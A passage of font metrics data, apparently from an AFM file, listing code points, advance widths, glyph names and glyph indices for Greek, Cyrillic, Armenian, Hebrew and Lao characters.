U 953 ; WX 390 ; N iota ; G 846
U 954 ; WX 710 ; N kappa ; G 847
U 955 ; WX 633 ; N lambda ; G 848
U 956 ; WX 736 ; N uni03BC ; G 849
U 957 ; WX 681 ; N nu ; G 850
U 958 ; WX 591 ; N xi ; G 851
U 959 ; WX 687 ; N omicron ; G 852
U 960 ; WX 791 ; N pi ; G 853
U 961 ; WX 716 ; N rho ; G 854
U 962 ; WX 593 ; N sigma1 ; G 855
U 963 ; WX 779 ; N sigma ; G 856
U 964 ; WX 638 ; N tau ; G 857
U 965 ; WX 675 ; N upsilon ; G 858
U 966 ; WX 782 ; N phi ; G 859
U 967 ; WX 645 ; N chi ; G 860
U 968 ; WX 794 ; N psi ; G 861
U 969 ; WX 869 ; N omega ; G 862
U 970 ; WX 390 ; N iotadieresis ; G 863
U 971 ; WX 675 ; N upsilondieresis ; G 864
U 972 ; WX 687 ; N omicrontonos ; G 865
U 973 ; WX 675 ; N upsilontonos ; G 866
U 974 ; WX 869 ; N omegatonos ; G 867
U 975 ; WX 775 ; N uni03CF ; G 868
U 976 ; WX 651 ; N uni03D0 ; G 869
U 977 ; WX 661 ; N theta1 ; G 870
U 978 ; WX 746 ; N Upsilon1 ; G 871
U 979 ; WX 981 ; N uni03D3 ; G 872
U 980 ; WX 746 ; N uni03D4 ; G 873
U 981 ; WX 796 ; N phi1 ; G 874
U 982 ; WX 869 ; N omega1 ; G 875
U 983 ; WX 744 ; N uni03D7 ; G 876
U 984 ; WX 850 ; N uni03D8 ; G 877
U 985 ; WX 687 ; N uni03D9 ; G 878
U 986 ; WX 734 ; N uni03DA ; G 879
U 987 ; WX 593 ; N uni03DB ; G 880
U 988 ; WX 683 ; N uni03DC ; G 881
U 989 ; WX 494 ; N uni03DD ; G 882
U 990 ; WX 702 ; N uni03DE ; G 883
U 991 ; WX 660 ; N uni03DF ; G 884
U 992 ; WX 919 ; N uni03E0 ; G 885
U 993 ; WX 627 ; N uni03E1 ; G 886
U 994 ; WX 1093 ; N uni03E2 ; G 887
U 995 ; WX 837 ; N uni03E3 ; G 888
U 996 ; WX 832 ; N uni03E4 ; G 889
U 997 ; WX 716 ; N uni03E5 ; G 890
U 998 ; WX 928 ; N uni03E6 ; G 891
U 999 ; WX 744 ; N uni03E7 ; G 892
U 1000 ; WX 733 ; N uni03E8 ; G 893
U 1001 ; WX 650 ; N uni03E9 ; G 894
U 1002 ; WX 789 ; N uni03EA ; G 895
U 1003 ; WX 671 ; N uni03EB ; G 896
U 1004 ; WX 752 ; N uni03EC ; G 897
U 1005 ; WX 716 ; N uni03ED ; G 898
U 1006 ; WX 682 ; N uni03EE ; G 899
U 1007 ; WX 590 ; N uni03EF ; G 900
U 1008 ; WX 744 ; N uni03F0 ; G 901
U 1009 ; WX 716 ; N uni03F1 ; G 902
U 1010 ; WX 593 ; N uni03F2 ; G 903
U 1011 ; WX 343 ; N uni03F3 ; G 904
U 1012 ; WX 850 ; N uni03F4 ; G 905
U 1013 ; WX 645 ; N uni03F5 ; G 906
U 1014 ; WX 645 ; N uni03F6 ; G 907
U 1015 ; WX 742 ; N uni03F7 ; G 908
U 1016 ; WX 716 ; N uni03F8 ; G 909
U 1017 ; WX 734 ; N uni03F9 ; G 910
U 1018 ; WX 995 ; N uni03FA ; G 911
U 1019 ; WX 732 ; N uni03FB ; G 912
U 1020 ; WX 716 ; N uni03FC ; G 913
U 1021 ; WX 734 ; N uni03FD ; G 914
U 1022 ; WX 734 ; N uni03FE ; G 915
U 1023 ; WX 698 ; N uni03FF ; G 916
U 1024 ; WX 683 ; N uni0400 ; G 917
U 1025 ; WX 683 ; N uni0401 ; G 918
U 1026 ; WX 878 ; N uni0402 ; G 919
U 1027 ; WX 637 ; N uni0403 ; G 920
U 1028 ; WX 734 ; N uni0404 ; G 921
U 1029 ; WX 720 ; N uni0405 ; G 922
U 1030 ; WX 372 ; N uni0406 ; G 923
U 1031 ; WX 372 ; N uni0407 ; G 924
U 1032 ; WX 372 ; N uni0408 ; G 925
U 1033 ; WX 1154 ; N uni0409 ; G 926
U 1034 ; WX 1130 ; N uni040A ; G 927
U 1035 ; WX 878 ; N uni040B ; G 928
U 1036 ; WX 817 ; N uni040C ; G 929
U 1037 ; WX 837 ; N uni040D ; G 930
U 1038 ; WX 771 ; N uni040E ; G 931
U 1039 ; WX 837 ; N uni040F ; G 932
U 1040 ; WX 774 ; N uni0410 ; G 933
U 1041 ; WX 762 ; N uni0411 ; G 934
U 1042 ; WX 762 ; N uni0412 ; G 935
U 1043 ; WX 637 ; N uni0413 ; G 936
U 1044 ; WX 891 ; N uni0414 ; G 937
U 1045 ; WX 683 ; N uni0415 ; G 938
U 1046 ; WX 1224 ; N uni0416 ; G 939
U 1047 ; WX 710 ; N uni0417 ; G 940
U 1048 ; WX 837 ; N uni0418 ; G 941
U 1049 ; WX 837 ; N uni0419 ; G 942
U 1050 ; WX 817 ; N uni041A ; G 943
U 1051 ; WX 831 ; N uni041B ; G 944
U 1052 ; WX 995 ; N uni041C ; G 945
U 1053 ; WX 837 ; N uni041D ; G 946
U 1054 ; WX 850 ; N uni041E ; G 947
U 1055 ; WX 837 ; N uni041F ; G 948
U 1056 ; WX 733 ; N uni0420 ; G 949
U 1057 ; WX 734 ; N uni0421 ; G 950
U 1058 ; WX 682 ; N uni0422 ; G 951
U 1059 ; WX 771 ; N uni0423 ; G 952
U 1060 ; WX 992 ; N uni0424 ; G 953
U 1061 ; WX 771 ; N uni0425 ; G 954
U 1062 ; WX 928 ; N uni0426 ; G 955
U 1063 ; WX 808 ; N uni0427 ; G 956
U 1064 ; WX 1235 ; N uni0428 ; G 957
U 1065 ; WX 1326 ; N uni0429 ; G 958
U 1066 ; WX 939 ; N uni042A ; G 959
U 1067 ; WX 1036 ; N uni042B ; G 960
U 1068 ; WX 762 ; N uni042C ; G 961
U 1069 ; WX 734 ; N uni042D ; G 962
U 1070 ; WX 1174 ; N uni042E ; G 963
U 1071 ; WX 770 ; N uni042F ; G 964
U 1072 ; WX 675 ; N uni0430 ; G 965
U 1073 ; WX 698 ; N uni0431 ; G 966
U 1074 ; WX 633 ; N uni0432 ; G 967
U 1075 ; WX 522 ; N uni0433 ; G 968
U 1076 ; WX 808 ; N uni0434 ; G 969
U 1077 ; WX 678 ; N uni0435 ; G 970
U 1078 ; WX 995 ; N uni0436 ; G 971
U 1079 ; WX 581 ; N uni0437 ; G 972
U 1080 ; WX 701 ; N uni0438 ; G 973
U 1081 ; WX 701 ; N uni0439 ; G 974
U 1082 ; WX 679 ; N uni043A ; G 975
U 1083 ; WX 732 ; N uni043B ; G 976
U 1084 ; WX 817 ; N uni043C ; G 977
U 1085 ; WX 691 ; N uni043D ; G 978
U 1086 ; WX 687 ; N uni043E ; G 979
U 1087 ; WX 691 ; N uni043F ; G 980
U 1088 ; WX 716 ; N uni0440 ; G 981
U 1089 ; WX 593 ; N uni0441 ; G 982
U 1090 ; WX 580 ; N uni0442 ; G 983
U 1091 ; WX 652 ; N uni0443 ; G 984
U 1092 ; WX 992 ; N uni0444 ; G 985
U 1093 ; WX 645 ; N uni0445 ; G 986
U 1094 ; WX 741 ; N uni0446 ; G 987
U 1095 ; WX 687 ; N uni0447 ; G 988
U 1096 ; WX 1062 ; N uni0448 ; G 989
U 1097 ; WX 1105 ; N uni0449 ; G 990
U 1098 ; WX 751 ; N uni044A ; G 991
U 1099 ; WX 904 ; N uni044B ; G 992
U 1100 ; WX 632 ; N uni044C ; G 993
U 1101 ; WX 593 ; N uni044D ; G 994
U 1102 ; WX 972 ; N uni044E ; G 995
U 1103 ; WX 642 ; N uni044F ; G 996
U 1104 ; WX 678 ; N uni0450 ; G 997
U 1105 ; WX 678 ; N uni0451 ; G 998
U 1106 ; WX 714 ; N uni0452 ; G 999
U 1107 ; WX 522 ; N uni0453 ; G 1000
U 1108 ; WX 593 ; N uni0454 ; G 1001
U 1109 ; WX 595 ; N uni0455 ; G 1002
U 1110 ; WX 343 ; N uni0456 ; G 1003
U 1111 ; WX 343 ; N uni0457 ; G 1004
U 1112 ; WX 343 ; N uni0458 ; G 1005
U 1113 ; WX 991 ; N uni0459 ; G 1006
U 1114 ; WX 956 ; N uni045A ; G 1007
U 1115 ; WX 734 ; N uni045B ; G 1008
U 1116 ; WX 679 ; N uni045C ; G 1009
U 1117 ; WX 701 ; N uni045D ; G 1010
U 1118 ; WX 652 ; N uni045E ; G 1011
U 1119 ; WX 691 ; N uni045F ; G 1012
U 1120 ; WX 1093 ; N uni0460 ; G 1013
U 1121 ; WX 869 ; N uni0461 ; G 1014
U 1122 ; WX 840 ; N uni0462 ; G 1015
U 1123 ; WX 736 ; N uni0463 ; G 1016
U 1124 ; WX 1012 ; N uni0464 ; G 1017
U 1125 ; WX 839 ; N uni0465 ; G 1018
U 1126 ; WX 992 ; N uni0466 ; G 1019
U 1127 ; WX 832 ; N uni0467 ; G 1020
U 1128 ; WX 1358 ; N uni0468 ; G 1021
U 1129 ; WX 1121 ; N uni0469 ; G 1022
U 1130 ; WX 850 ; N uni046A ; G 1023
U 1131 ; WX 687 ; N uni046B ; G 1024
U 1132 ; WX 1236 ; N uni046C ; G 1025
U 1133 ; WX 1007 ; N uni046D ; G 1026
U 1134 ; WX 696 ; N uni046E ; G 1027
U 1135 ; WX 557 ; N uni046F ; G 1028
U 1136 ; WX 1075 ; N uni0470 ; G 1029
U 1137 ; WX 1061 ; N uni0471 ; G 1030
U 1138 ; WX 850 ; N uni0472 ; G 1031
U 1139 ; WX 687 ; N uni0473 ; G 1032
U 1140 ; WX 850 ; N uni0474 ; G 1033
U 1141 ; WX 695 ; N uni0475 ; G 1034
U 1142 ; WX 850 ; N uni0476 ; G 1035
U 1143 ; WX 695 ; N uni0477 ; G 1036
U 1144 ; WX 1148 ; N uni0478 ; G 1037
U 1145 ; WX 1043 ; N uni0479 ; G 1038
U 1146 ; WX 1074 ; N uni047A ; G 1039
U 1147 ; WX 863 ; N uni047B ; G 1040
U 1148 ; WX 1405 ; N uni047C ; G 1041
U 1149 ; WX 1173 ; N uni047D ; G 1042
U 1150 ; WX 1093 ; N uni047E ; G 1043
U 1151 ; WX 869 ; N uni047F ; G 1044
U 1152 ; WX 734 ; N uni0480 ; G 1045
U 1153 ; WX 593 ; N uni0481 ; G 1046
U 1154 ; WX 652 ; N uni0482 ; G 1047
U 1155 ; WX 0 ; N uni0483 ; G 1048
U 1156 ; WX 0 ; N uni0484 ; G 1049
U 1157 ; WX 0 ; N uni0485 ; G 1050
U 1158 ; WX 0 ; N uni0486 ; G 1051
U 1159 ; WX 0 ; N uni0487 ; G 1052
U 1160 ; WX 418 ; N uni0488 ; G 1053
U 1161 ; WX 418 ; N uni0489 ; G 1054
U 1162 ; WX 938 ; N uni048A ; G 1055
U 1163 ; WX 806 ; N uni048B ; G 1056
U 1164 ; WX 762 ; N uni048C ; G 1057
U 1165 ; WX 611 ; N uni048D ; G 1058
U 1166 ; WX 736 ; N uni048E ; G 1059
U 1167 ; WX 718 ; N uni048F ; G 1060
U 1168 ; WX 637 ; N uni0490 ; G 1061
U 1169 ; WX 522 ; N uni0491 ; G 1062
U 1170 ; WX 666 ; N uni0492 ; G 1063
U 1171 ; WX 543 ; N uni0493 ; G 1064
U 1172 ; WX 789 ; N uni0494 ; G 1065
U 1173 ; WX 522 ; N uni0495 ; G 1066
U 1174 ; WX 1224 ; N uni0496 ; G 1067
U 1175 ; WX 995 ; N uni0497 ; G 1068
U 1176 ; WX 710 ; N uni0498 ; G 1069
U 1177 ; WX 581 ; N uni0499 ; G 1070
U 1178 ; WX 775 ; N uni049A ; G 1071
U 1179 ; WX 679 ; N uni049B ; G 1072
U 1180 ; WX 817 ; N uni049C ; G 1073
U 1181 ; WX 679 ; N uni049D ; G 1074
U 1182 ; WX 817 ; N uni049E ; G 1075
U 1183 ; WX 679 ; N uni049F ; G 1076
U 1184 ; WX 1015 ; N uni04A0 ; G 1077
U 1185 ; WX 826 ; N uni04A1 ; G 1078
U 1186 ; WX 837 ; N uni04A2 ; G 1079
U 1187 ; WX 691 ; N uni04A3 ; G 1080
U 1188 ; WX 1103 ; N uni04A4 ; G 1081
U 1189 ; WX 871 ; N uni04A5 ; G 1082
U 1190 ; WX 1254 ; N uni04A6 ; G 1083
U 1191 ; WX 979 ; N uni04A7 ; G 1084
U 1192 ; WX 946 ; N uni04A8 ; G 1085
U 1193 ; WX 859 ; N uni04A9 ; G 1086
U 1194 ; WX 734 ; N uni04AA ; G 1087
U 1195 ; WX 593 ; N uni04AB ; G 1088
U 1196 ; WX 682 ; N uni04AC ; G 1089
U 1197 ; WX 580 ; N uni04AD ; G 1090
U 1198 ; WX 724 ; N uni04AE ; G 1091
U 1199 ; WX 652 ; N uni04AF ; G 1092
U 1200 ; WX 724 ; N uni04B0 ; G 1093
U 1201 ; WX 652 ; N uni04B1 ; G 1094
U 1202 ; WX 771 ; N uni04B2 ; G 1095
U 1203 ; WX 645 ; N uni04B3 ; G 1096
U 1204 ; WX 1104 ; N uni04B4 ; G 1097
U 1205 ; WX 1001 ; N uni04B5 ; G 1098
U 1206 ; WX 808 ; N uni04B6 ; G 1099
U 1207 ; WX 687 ; N uni04B7 ; G 1100
U 1208 ; WX 808 ; N uni04B8 ; G 1101
U 1209 ; WX 687 ; N uni04B9 ; G 1102
U 1210 ; WX 808 ; N uni04BA ; G 1103
U 1211 ; WX 712 ; N uni04BB ; G 1104
U 1212 ; WX 1026 ; N uni04BC ; G 1105
U 1213 ; WX 810 ; N uni04BD ; G 1106
U 1214 ; WX 1026 ; N uni04BE ; G 1107
U 1215 ; WX 810 ; N uni04BF ; G 1108
U 1216 ; WX 372 ; N uni04C0 ; G 1109
U 1217 ; WX 1224 ; N uni04C1 ; G 1110
U 1218 ; WX 995 ; N uni04C2 ; G 1111
U 1219 ; WX 778 ; N uni04C3 ; G 1112
U 1220 ; WX 629 ; N uni04C4 ; G 1113
U 1221 ; WX 933 ; N uni04C5 ; G 1114
U 1222 ; WX 804 ; N uni04C6 ; G 1115
U 1223 ; WX 837 ; N uni04C7 ; G 1116
U 1224 ; WX 691 ; N uni04C8 ; G 1117
U 1225 ; WX 938 ; N uni04C9 ; G 1118
U 1226 ; WX 806 ; N uni04CA ; G 1119
U 1227 ; WX 808 ; N uni04CB ; G 1120
U 1228 ; WX 687 ; N uni04CC ; G 1121
U 1229 ; WX 1096 ; N uni04CD ; G 1122
U 1230 ; WX 932 ; N uni04CE ; G 1123
U 1231 ; WX 343 ; N uni04CF ; G 1124
U 1232 ; WX 774 ; N uni04D0 ; G 1125
U 1233 ; WX 675 ; N uni04D1 ; G 1126
U 1234 ; WX 774 ; N uni04D2 ; G 1127
U 1235 ; WX 675 ; N uni04D3 ; G 1128
U 1236 ; WX 1085 ; N uni04D4 ; G 1129
U 1237 ; WX 1048 ; N uni04D5 ; G 1130
U 1238 ; WX 683 ; N uni04D6 ; G 1131
U 1239 ; WX 678 ; N uni04D7 ; G 1132
U 1240 ; WX 850 ; N uni04D8 ; G 1133
U 1241 ; WX 678 ; N uni04D9 ; G 1134
U 1242 ; WX 850 ; N uni04DA ; G 1135
U 1243 ; WX 678 ; N uni04DB ; G 1136
U 1244 ; WX 1224 ; N uni04DC ; G 1137
U 1245 ; WX 995 ; N uni04DD ; G 1138
U 1246 ; WX 710 ; N uni04DE ; G 1139
U 1247 ; WX 581 ; N uni04DF ; G 1140
U 1248 ; WX 772 ; N uni04E0 ; G 1141
U 1249 ; WX 641 ; N uni04E1 ; G 1142
U 1250 ; WX 837 ; N uni04E2 ; G 1143
U 1251 ; WX 701 ; N uni04E3 ; G 1144
U 1252 ; WX 837 ; N uni04E4 ; G 1145
U 1253 ; WX 701 ; N uni04E5 ; G 1146
U 1254 ; WX 850 ; N uni04E6 ; G 1147
U 1255 ; WX 687 ; N uni04E7 ; G 1148
U 1256 ; WX 850 ; N uni04E8 ; G 1149
U 1257 ; WX 687 ; N uni04E9 ; G 1150
U 1258 ; WX 850 ; N uni04EA ; G 1151
U 1259 ; WX 687 ; N uni04EB ; G 1152
U 1260 ; WX 734 ; N uni04EC ; G 1153
U 1261 ; WX 593 ; N uni04ED ; G 1154
U 1262 ; WX 771 ; N uni04EE ; G 1155
U 1263 ; WX 652 ; N uni04EF ; G 1156
U 1264 ; WX 771 ; N uni04F0 ; G 1157
U 1265 ; WX 652 ; N uni04F1 ; G 1158
U 1266 ; WX 771 ; N uni04F2 ; G 1159
U 1267 ; WX 652 ; N uni04F3 ; G 1160
U 1268 ; WX 808 ; N uni04F4 ; G 1161
U 1269 ; WX 687 ; N uni04F5 ; G 1162
U 1270 ; WX 637 ; N uni04F6 ; G 1163
U 1271 ; WX 522 ; N uni04F7 ; G 1164
U 1272 ; WX 1036 ; N uni04F8 ; G 1165
U 1273 ; WX 904 ; N uni04F9 ; G 1166
U 1274 ; WX 666 ; N uni04FA ; G 1167
U 1275 ; WX 543 ; N uni04FB ; G 1168
U 1276 ; WX 771 ; N uni04FC ; G 1169
U 1277 ; WX 645 ; N uni04FD ; G 1170
U 1278 ; WX 771 ; N uni04FE ; G 1171
U 1279 ; WX 645 ; N uni04FF ; G 1172
U 1280 ; WX 762 ; N uni0500 ; G 1173
U 1281 ; WX 608 ; N uni0501 ; G 1174
U 1282 ; WX 1159 ; N uni0502 ; G 1175
U 1283 ; WX 893 ; N uni0503 ; G 1176
U 1284 ; WX 1119 ; N uni0504 ; G 1177
U 1285 ; WX 920 ; N uni0505 ; G 1178
U 1286 ; WX 828 ; N uni0506 ; G 1179
U 1287 ; WX 693 ; N uni0507 ; G 1180
U 1288 ; WX 1242 ; N uni0508 ; G 1181
U 1289 ; WX 1017 ; N uni0509 ; G 1182
U 1290 ; WX 1289 ; N uni050A ; G 1183
U 1291 ; WX 1013 ; N uni050B ; G 1184
U 1292 ; WX 839 ; N uni050C ; G 1185
U 1293 ; WX 638 ; N uni050D ; G 1186
U 1294 ; WX 938 ; N uni050E ; G 1187
U 1295 ; WX 803 ; N uni050F ; G 1188
U 1296 ; WX 696 ; N uni0510 ; G 1189
U 1297 ; WX 557 ; N uni0511 ; G 1190
U 1298 ; WX 831 ; N uni0512 ; G 1191
U 1299 ; WX 732 ; N uni0513 ; G 1192
U 1300 ; WX 1286 ; N uni0514 ; G 1193
U 1301 ; WX 1070 ; N uni0515 ; G 1194
U 1302 ; WX 1065 ; N uni0516 ; G 1195
U 1303 ; WX 982 ; N uni0517 ; G 1196
U 1304 ; WX 1082 ; N uni0518 ; G 1197
U 1305 ; WX 960 ; N uni0519 ; G 1198
U 1306 ; WX 850 ; N uni051A ; G 1199
U 1307 ; WX 716 ; N uni051B ; G 1200
U 1308 ; WX 1103 ; N uni051C ; G 1201
U 1309 ; WX 924 ; N uni051D ; G 1202
U 1310 ; WX 817 ; N uni051E ; G 1203
U 1311 ; WX 679 ; N uni051F ; G 1204
U 1312 ; WX 1248 ; N uni0520 ; G 1205
U 1313 ; WX 1022 ; N uni0521 ; G 1206
U 1314 ; WX 1254 ; N uni0522 ; G 1207
U 1315 ; WX 979 ; N uni0523 ; G 1208
U 1316 ; WX 957 ; N uni0524 ; G 1209
U 1317 ; WX 807 ; N uni0525 ; G 1210
U 1329 ; WX 904 ; N uni0531 ; G 1211
U 1330 ; WX 810 ; N uni0532 ; G 1212
U 1331 ; WX 809 ; N uni0533 ; G 1213
U 1332 ; WX 813 ; N uni0534 ; G 1214
U 1333 ; WX 810 ; N uni0535 ; G 1215
U 1334 ; WX 815 ; N uni0536 ; G 1216
U 1335 ; WX 724 ; N uni0537 ; G 1217
U 1336 ; WX 800 ; N uni0538 ; G 1218
U 1337 ; WX 1004 ; N uni0539 ; G 1219
U 1338 ; WX 809 ; N uni053A ; G 1220
U 1339 ; WX 740 ; N uni053B ; G 1221
U 1340 ; WX 620 ; N uni053C ; G 1222
U 1341 ; WX 1068 ; N uni053D ; G 1223
U 1342 ; WX 875 ; N uni053E ; G 1224
U 1343 ; WX 792 ; N uni053F ; G 1225
U 1344 ; WX 723 ; N uni0540 ; G 1226
U 1345 ; WX 811 ; N uni0541 ; G 1227
U 1346 ; WX 794 ; N uni0542 ; G 1228
U 1347 ; WX 782 ; N uni0543 ; G 1229
U 1348 ; WX 867 ; N uni0544 ; G 1230
U 1349 ; WX 766 ; N uni0545 ; G 1231
U 1350 ; WX 794 ; N uni0546 ; G 1232
U 1351 ; WX 787 ; N uni0547 ; G 1233
U 1352 ; WX 812 ; N uni0548 ; G 1234
U 1353 ; WX 752 ; N uni0549 ; G 1235
U 1354 ; WX 963 ; N uni054A ; G 1236
U 1355 ; WX 790 ; N uni054B ; G 1237
U 1356 ; WX 867 ; N uni054C ; G 1238
U 1357 ; WX 812 ; N uni054D ; G 1239
U 1358 ; WX 794 ; N uni054E ; G 1240
U 1359 ; WX 771 ; N uni054F ; G 1241
U 1360 ; WX 740 ; N uni0550 ; G 1242
U 1361 ; WX 775 ; N uni0551 ; G 1243
U 1362 ; WX 640 ; N uni0552 ; G 1244
U 1363 ; WX 926 ; N uni0553 ; G 1245
U 1364 ; WX 775 ; N uni0554 ; G 1246
U 1365 ; WX 848 ; N uni0555 ; G 1247
U 1366 ; WX 951 ; N uni0556 ; G 1248
U 1369 ; WX 366 ; N uni0559 ; G 1249
U 1370 ; WX 380 ; N uni055A ; G 1250
U 1371 ; WX 342 ; N uni055B ; G 1251
U 1372 ; WX 415 ; N uni055C ; G 1252
U 1373 ; WX 348 ; N uni055D ; G 1253
U 1374 ; WX 513 ; N uni055E ; G 1254
U 1375 ; WX 521 ; N uni055F ; G 1255
U 1377 ; WX 1043 ; N uni0561 ; G 1256
U 1378 ; WX 713 ; N uni0562 ; G 1257
U 1379 ; WX 782 ; N uni0563 ; G 1258
U 1380 ; WX 786 ; N uni0564 ; G 1259
U 1381 ; WX 713 ; N uni0565 ; G 1260
U 1382 ; WX 715 ; N uni0566 ; G 1261
U 1383 ; WX 628 ; N uni0567 ; G 1262
U 1384 ; WX 713 ; N uni0568 ; G 1263
U 1385 ; WX 840 ; N uni0569 ; G 1264
U 1386 ; WX 782 ; N uni056A ; G 1265
U 1387 ; WX 714 ; N uni056B ; G 1266
U 1388 ; WX 344 ; N uni056C ; G 1267
U 1389 ; WX 1094 ; N uni056D ; G 1268
U 1390 ; WX 708 ; N uni056E ; G 1269
U 1391 ; WX 714 ; N uni056F ; G 1270
U 1392 ; WX 714 ; N uni0570 ; G 1271
U 1393 ; WX 670 ; N uni0571 ; G 1272
U 1394 ; WX 714 ; N uni0572 ; G 1273
U 1395 ; WX 713 ; N uni0573 ; G 1274
U 1396 ; WX 714 ; N uni0574 ; G 1275
U 1397 ; WX 343 ; N uni0575 ; G 1276
U 1398 ; WX 714 ; N uni0576 ; G 1277
U 1399 ; WX 541 ; N uni0577 ; G 1278
U 1400 ; WX 714 ; N uni0578 ; G 1279
U 1401 ; WX 407 ; N uni0579 ; G 1280
U 1402 ; WX 1043 ; N uni057A ; G 1281
U 1403 ; WX 636 ; N uni057B ; G 1282
U 1404 ; WX 740 ; N uni057C ; G 1283
U 1405 ; WX 714 ; N uni057D ; G 1284
U 1406 ; WX 714 ; N uni057E ; G 1285
U 1407 ; WX 1038 ; N uni057F ; G 1286
U 1408 ; WX 714 ; N uni0580 ; G 1287
U 1409 ; WX 714 ; N uni0581 ; G 1288
U 1410 ; WX 532 ; N uni0582 ; G 1289
U 1411 ; WX 1038 ; N uni0583 ; G 1290
U 1412 ; WX 720 ; N uni0584 ; G 1291
U 1413 ; WX 689 ; N uni0585 ; G 1292
U 1414 ; WX 904 ; N uni0586 ; G 1293
U 1415 ; WX 902 ; N uni0587 ; G 1294
U 1417 ; WX 400 ; N uni0589 ; G 1295
U 1418 ; WX 415 ; N uni058A ; G 1296
U 1456 ; WX 0 ; N uni05B0 ; G 1297
U 1457 ; WX 0 ; N uni05B1 ; G 1298
U 1458 ; WX 0 ; N uni05B2 ; G 1299
U 1459 ; WX 0 ; N uni05B3 ; G 1300
U 1460 ; WX 0 ; N uni05B4 ; G 1301
U 1461 ; WX 0 ; N uni05B5 ; G 1302
U 1462 ; WX 0 ; N uni05B6 ; G 1303
U 1463 ; WX 0 ; N uni05B7 ; G 1304
U 1464 ; WX 0 ; N uni05B8 ; G 1305
U 1465 ; WX 0 ; N uni05B9 ; G 1306
U 1466 ; WX 0 ; N uni05BA ; G 1307
U 1467 ; WX 0 ; N uni05BB ; G 1308
U 1468 ; WX 0 ; N uni05BC ; G 1309
U 1469 ; WX 0 ; N uni05BD ; G 1310
U 1470 ; WX 415 ; N uni05BE ; G 1311
U 1471 ; WX 0 ; N uni05BF ; G 1312
U 1472 ; WX 372 ; N uni05C0 ; G 1313
U 1473 ; WX 0 ; N uni05C1 ; G 1314
U 1474 ; WX 0 ; N uni05C2 ; G 1315
U 1475 ; WX 372 ; N uni05C3 ; G 1316
U 1478 ; WX 497 ; N uni05C6 ; G 1317
U 1479 ; WX 0 ; N uni05C7 ; G 1318
U 1488 ; WX 728 ; N uni05D0 ; G 1319
U 1489 ; WX 610 ; N uni05D1 ; G 1320
U 1490 ; WX 447 ; N uni05D2 ; G 1321
U 1491 ; WX 588 ; N uni05D3 ; G 1322
U 1492 ; WX 687 ; N uni05D4 ; G 1323
U 1493 ; WX 343 ; N uni05D5 ; G 1324
U 1494 ; WX 400 ; N uni05D6 ; G 1325
U 1495 ; WX 687 ; N uni05D7 ; G 1326
U 1496 ; WX 679 ; N uni05D8 ; G 1327
U 1497 ; WX 294 ; N uni05D9 ; G 1328
U 1498 ; WX 578 ; N uni05DA ; G 1329
U 1499 ; WX 566 ; N uni05DB ; G 1330
U 1500 ; WX 605 ; N uni05DC ; G 1331
U 1501 ; WX 696 ; N uni05DD ; G 1332
U 1502 ; WX 724 ; N uni05DE ; G 1333
U 1503 ; WX 343 ; N uni05DF ; G 1334
U 1504 ; WX 453 ; N uni05E0 ; G 1335
U 1505 ; WX 680 ; N uni05E1 ; G 1336
U 1506 ; WX 666 ; N uni05E2 ; G 1337
U 1507 ; WX 675 ; N uni05E3 ; G 1338
U 1508 ; WX 658 ; N uni05E4 ; G 1339
U 1509 ; WX 661 ; N uni05E5 ; G 1340
U 1510 ; WX 653 ; N uni05E6 ; G 1341
U 1511 ; WX 736 ; N uni05E7 ; G 1342
U 1512 ; WX 602 ; N uni05E8 ; G 1343
U 1513 ; WX 749 ; N uni05E9 ; G 1344
U 1514 ; WX 683 ; N uni05EA ; G 1345
U 1520 ; WX 664 ; N uni05F0 ; G 1346
U 1521 ; WX 664 ; N uni05F1 ; G 1347
U 1522 ; WX 663 ; N uni05F2 ; G 1348
U 1523 ; WX 444 ; N uni05F3 ; G 1349
U 1524 ; WX 710 ; N uni05F4 ; G 1350
U 3647 ; WX 696 ; N uni0E3F ; G 1351
U 3713 ; WX 815 ; N uni0E81 ; G 1352
U 3714 ; WX 748 ; N uni0E82 ; G 1353
U 3716 ; WX 749 ; N uni0E84 ; G 1354
U 3719 ; WX 569 ; N uni0E87 ; G 1355
U 3720 ; WX 742 ; N uni0E88 ; G 1356
U 3722 ; WX 744 ; N uni0E8A ; G 1357
U 3725 ; WX 761 ; N uni0E8D ; G 1358
U 3732 ; WX 706 ; N uni0E94 ; G 1359
U 3733 ; WX 704 ; N uni0E95 ; G 1360
U 3734 ; WX 747 ; N uni0E96 ; G 1361
U 3735 ; WX 819 ; N uni0E97 ; G 1362
U 3737 ; WX 730 ; N uni0E99 ; G 1363
U 3738 ; WX 727 ; N uni0E9A ; G 1364
U 3739 ; WX 727 ; N uni0E9B ; G 1365
U 3740 ; WX 922 ; N uni0E9C ; G 1366
U 3741 ; WX 827 ; N uni0E9D ; G 1367
U 3742 ; WX 866 ; N uni0E9E ; G 1368
U 3743 ; WX 866 ; N uni0E9F ; G 1369
U 3745 ; WX 836 ; N uni0EA1 ; G 1370
U 3746 ; WX 761 ; N uni0EA2 ; G 1371
U 3747 ; WX 770 ; N uni0EA3 ; G 1372
U 3749 ; WX 769 ; N uni0EA5 ; G 1373
U 3751 ; WX 713 ; N uni0EA7 ; G 1374
U 3754 ; WX 827 ; N uni0EAA ; G 1375
U 3755 ; WX 1031 ; N uni0EAB ; G 1376
U 3757 ; WX 724 ; N uni0EAD ; G 1377
U 3758 ; WX 784 ; N uni0EAE ; G 1378
U 3759 ; WX 934 ; N uni0EAF ; G 1379
U 3760 ; WX 688 ; N uni0EB0 ; G 1380
U 3761 ; WX 0 ; N uni0EB1 ; G 1381
U 3762 ; WX 610 ; N uni0EB2 ; G 1382
U 3763 ; WX 610 ; N uni0EB3 ; G 1383
U 3764 ; WX 0 ; N uni0EB4 ; G 1384
U 3765 ; WX 0 ; N uni0EB5 ; G 1385
U 3766 ; WX 0 ; N uni0EB6 ; G 1386
U 3767 ; WX 0 ; N uni0EB7 ; G 1387
U 3768 ; WX 0 ; N uni0EB8 ; G 1388
U 3769 ; WX 0 ; N uni0EB9 ; G 1389
U 3771 ; WX 0 ; N uni0EBB ; G 1390
U 3772 ; WX 0 ; N uni0EBC ; G 1391
U 3773 ; WX 670 ; N uni0EBD ; G 1392
U 3776 ; WX 516 ; N uni0EC0 ; G 1393
U 3777 ; WX 860 ; N uni0EC1 ; G 1394
U 3778 ; WX 516 ; N uni0EC2 ; G 1395
U 3779 ; WX 650 ; N uni0EC3 ; G 1396
U 3780 ; WX 632 ; N uni0EC4 ; G 1397
U 3782 ; WX 759 ; N uni0EC6 ; G 1398
U 3784 ; WX 0 ; N uni0EC8 ; G 1399
U 3785 ; WX 0 ; N uni0EC9 ; G 1400
U 3786 ; WX 0 ; N uni0ECA ; G 1401
U 3787 ; WX 0 ; N uni0ECB ; G 1402
U 3788 ; WX 0 ; N uni0ECC ; G 1403
